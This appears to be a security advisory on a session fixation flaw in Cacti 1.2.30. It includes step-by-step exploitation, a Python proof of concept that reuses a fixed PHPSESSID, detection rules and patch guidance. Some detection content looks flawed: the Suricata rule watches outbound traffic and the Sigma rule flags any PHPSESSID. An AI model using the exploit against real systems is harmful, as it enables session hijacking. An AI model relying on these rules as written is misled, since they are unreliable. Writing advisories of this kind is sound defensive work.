CVE-2026-40082

Executive Summary

CVE-2026-40082 is a Session Fixation vulnerability in Cacti, an open-source performance and fault management framework. Versions 1.2.30 and prior fail to call session_regenerate_id() after a successful login, allowing an attacker to fixate a session ID and hijack an authenticated session. The vulnerability is rated with a CVSS score of 5.4 (Medium). Although the EPSS score is currently 0.0%, the public availability of the vulnerability details and the lack of a patch for older versions make this a significant risk for unpatched deployments. The fix was released in version 1.2.31.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but affects the Cacti application directly. Users should verify the integrity of their Cacti installation and ensure they are running version 1.2.31 or later.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): None (N) - No authentication needed to initiate the attack.
• User Interaction (UI): Required (R) - The victim must click on a crafted link or visit a malicious site.
• Scope (S): Unchanged (U) - The vulnerable component and the impacted component are the same.
• Confidentiality (C): Low (L) - Limited access to session data.
• Integrity (I): Low (L) - Limited ability to modify session data.
• Availability (A): None (N) - No impact on availability.

Threat Level: Medium. The attack requires user interaction, but once successful, an attacker can hijack an authenticated session, potentially gaining access to sensitive monitoring data and configuration settings.

Deep Dive & Mechanics

The vulnerability lies in the login flow within auth_login.php. After a user successfully authenticates, the application sets $_SESSION[SESS_USER_ID] to the authenticated user's ID but does not call session_regenerate_id(). This means the session ID remains the same before and after login.

Attack Scenario:

1. An attacker crafts a malicious link containing a known session ID (e.g., http://target/cacti/index.php?PHPSESSID=attacker_session_id).
2. The attacker tricks a legitimate user into clicking the link, which sets the session ID in the user's browser.
3. The user logs into Cacti using their credentials.
4. After login, the session ID is not regenerated, so the attacker's known session ID is now associated with the authenticated user's session.
5. The attacker can now use the same session ID to access Cacti with the victim's privileges.

The session cookie configuration (httponly=true, samesite=Strict, secure=true) provides some protection but does not prevent session fixation via same-site vectors, such as a crafted link from the same site or a subdomain.

Vulnerable vs. Patched Code

Vulnerable Code (auth_login.php, lines 203-207 in version 1.2.30):

// After successful authentication
$_SESSION['SESS_USER_ID'] = $user_id;
// Missing session_regenerate_id() call

Patched Code (version 1.2.31):

// After successful authentication
session_regenerate_id(true);
$_SESSION['SESS_USER_ID'] = $user_id;

The fix adds session_regenerate_id(true) before setting the session variable. The true parameter ensures the old session is deleted, preventing session fixation.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A vulnerable Cacti instance (version 1.2.30 or earlier).
• A victim user who will log in.
• Ability to craft a URL with a known session ID.

Exploitation Steps:

1. Generate a session ID (e.g., attacker_session_id).
2. Craft a malicious URL: http://target/cacti/index.php?PHPSESSID=attacker_session_id
3. Send the URL to the victim (e.g., via phishing email or social engineering).
4. Wait for the victim to log in.
5. Use the same session ID to access Cacti: http://target/cacti/index.php?PHPSESSID=attacker_session_id

Proof of Concept (Python):

import requests

target = "http://target/cacti"
session_id = "attacker_session_id"

# Step 1: Send victim the malicious link (simulated)
print(f"Send victim this link: {target}/index.php?PHPSESSID={session_id}")

# Step 2: After victim logs in, use the session
cookies = {"PHPSESSID": session_id}
response = requests.get(f"{target}/index.php", cookies=cookies)
print(response.text)

Blue Team (Detection & Defense)

Detection:

• Monitor for multiple login attempts from the same session ID.
• Alert on session IDs that appear in logs before and after a login event without regeneration.
• Use Web Application Firewall (WAF) rules to detect session fixation attempts.

Defense:

• Immediately upgrade to Cacti version 1.2.31 or later.
• If upgrade is not possible, apply a virtual patch by adding session_regenerate_id(true); in auth_login.php after successful authentication.
• Implement additional session security measures, such as session timeout and IP binding.

Indicators of Compromise (IOCs)

• Session ID Reuse: The same session ID appearing in logs before and after a login event.
• Anomalous Login Patterns: Multiple logins from different IP addresses using the same session ID.
• Log Entries: Look for log entries showing PHPSESSID values that remain constant across login events.

Example Log Entry (Apache):

192.168.1.100 - - [10/Oct/2026:12:00:00 +0000] "GET /cacti/index.php?PHPSESSID=abc123 HTTP/1.1" 200 1234
192.168.1.100 - - [10/Oct/2026:12:05:00 +0000] "POST /cacti/auth_login.php HTTP/1.1" 302 0
192.168.1.100 - - [10/Oct/2026:12:05:01 +0000] "GET /cacti/index.php?PHPSESSID=abc123 HTTP/1.1" 200 5678

Detection Engineering

YARA Rule

rule CVE_2026_40082_Session_Fixation {
    meta:
        description = "Detects Cacti session fixation vulnerability (CVE-2026-40082)"
        author = "Valters IT"
        date = "2026-10-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-40082"
    strings:
        $s1 = "session_regenerate_id" ascii wide nocase
        $s2 = "SESS_USER_ID" ascii wide nocase
    condition:
        $s2 and not $s1
}

Sigma Rule

title: Cacti Session Fixation Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential session fixation attacks against Cacti (CVE-2026-40082)
author: Valters IT
date: 2026/10/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: "PHPSESSID"
    condition: selection
falsepositives:
    - Legitimate session ID changes
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"Cacti Session Fixation Attempt (CVE-2026-40082)";
    flow:to_server,established;
    content:"PHPSESSID"; http_uri;
    classtype:attempted-user;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update Cacti to version 1.2.31 or later. This is the only complete fix.
2. Virtual Patch: If upgrade is not possible, manually add session_regenerate_id(true); in auth_login.php after the authentication check and before setting $_SESSION['SESS_USER_ID'].

Long-term Measures:

• Implement a Web Application Firewall (WAF) to block session fixation attempts.
• Enforce session timeout and rotation policies.
• Monitor logs for anomalous session behavior.
• Conduct regular security audits and penetration testing.

Workaround Code (for version 1.2.30):

// In auth_login.php, after successful authentication
session_regenerate_id(true);
$_SESSION['SESS_USER_ID'] = $user_id;

Valters IT
Securing Digital Frontiers